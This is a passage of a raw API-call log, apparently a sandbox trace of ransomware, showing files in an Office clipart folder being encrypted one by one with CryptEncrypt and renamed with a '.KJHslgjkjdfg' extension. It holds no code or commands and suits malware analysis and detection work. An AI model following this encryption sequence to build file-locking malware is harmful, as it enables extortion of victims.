nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.385] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.385] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.386] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.386] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.386] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.386] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb594, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb594, lpOverlapped=0x0) returned 1 [0196.388] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb5a0, dwBufLen=0xb5a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb5a0) returned 1 [0196.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.388] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb5a0, lpOverlapped=0x0) returned 1 [0196.389] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.389] SetEndOfFile (hFile=0x130) returned 1 [0196.390] GetProcessHeap () returned 0x990000 [0196.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.390] GetProcessHeap () returned 0x990000 [0196.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.kjhslgjkjdfg")) returned 1 [0196.392] CloseHandle (hObject=0x130) returned 1 [0196.392] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1 [0196.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.393] GetProcessHeap () returned 0x990000 [0196.393] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.393] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.393] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0196.396] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.396] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.396] GetProcessHeap () returned 0x990000 [0196.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.396] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.396] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.396] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.396] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.396] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.396] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.396] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.396] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.396] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.397] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.397] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x51aa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x51aa, lpOverlapped=0x0) returned 1 [0196.398] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x51b0, dwBufLen=0x51b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x51b0) returned 1 [0196.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.398] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x51b0, lpOverlapped=0x0) returned 1 [0196.398] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.398] SetEndOfFile (hFile=0x130) returned 1 [0196.401] GetProcessHeap () returned 0x990000 [0196.401] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.401] GetProcessHeap () returned 0x990000 [0196.401] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.kjhslgjkjdfg")) returned 1 [0196.403] CloseHandle (hObject=0x130) returned 1 [0196.403] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1 [0196.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.404] GetProcessHeap () returned 0x990000 [0196.404] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.404] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.404] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.407] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.407] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.407] GetProcessHeap () returned 0x990000 [0196.407] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.407] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.407] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.407] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.407] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.407] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.407] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.408] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.408] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.408] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.408] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3888, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3888, lpOverlapped=0x0) returned 1 [0196.409] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3890, dwBufLen=0x3890 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3890) returned 1 [0196.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.409] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3890, lpOverlapped=0x0) returned 1 [0196.409] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.410] SetEndOfFile (hFile=0x130) returned 1 [0196.412] GetProcessHeap () returned 0x990000 [0196.412] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.412] GetProcessHeap () returned 0x990000 [0196.412] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.413] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.kjhslgjkjdfg")) returned 1 [0196.414] CloseHandle (hObject=0x130) returned 1 [0196.414] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1 [0196.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.415] GetProcessHeap () returned 0x990000 [0196.415] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.415] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.415] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.417] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.417] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.417] GetProcessHeap () returned 0x990000 [0196.417] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.417] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.417] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.417] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.418] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.418] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.418] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.418] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.418] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.418] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.418] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ae8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ae8, lpOverlapped=0x0) returned 1 [0196.419] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1af0, dwBufLen=0x1af0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1af0) returned 1 [0196.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.420] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1af0, lpOverlapped=0x0) returned 1 [0196.420] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.420] SetEndOfFile (hFile=0x130) returned 1 [0196.423] GetProcessHeap () returned 0x990000 [0196.423] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.423] GetProcessHeap () returned 0x990000 [0196.423] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.kjhslgjkjdfg")) returned 1 [0196.425] CloseHandle (hObject=0x130) returned 1 [0196.425] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1 [0196.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.426] GetProcessHeap () returned 0x990000 [0196.426] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.426] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.428] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.428] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.428] GetProcessHeap () returned 0x990000 [0196.428] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.428] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.428] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.428] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.429] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.429] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.429] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.429] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.429] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.429] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.429] ReadFile (in: hFile=0x130, 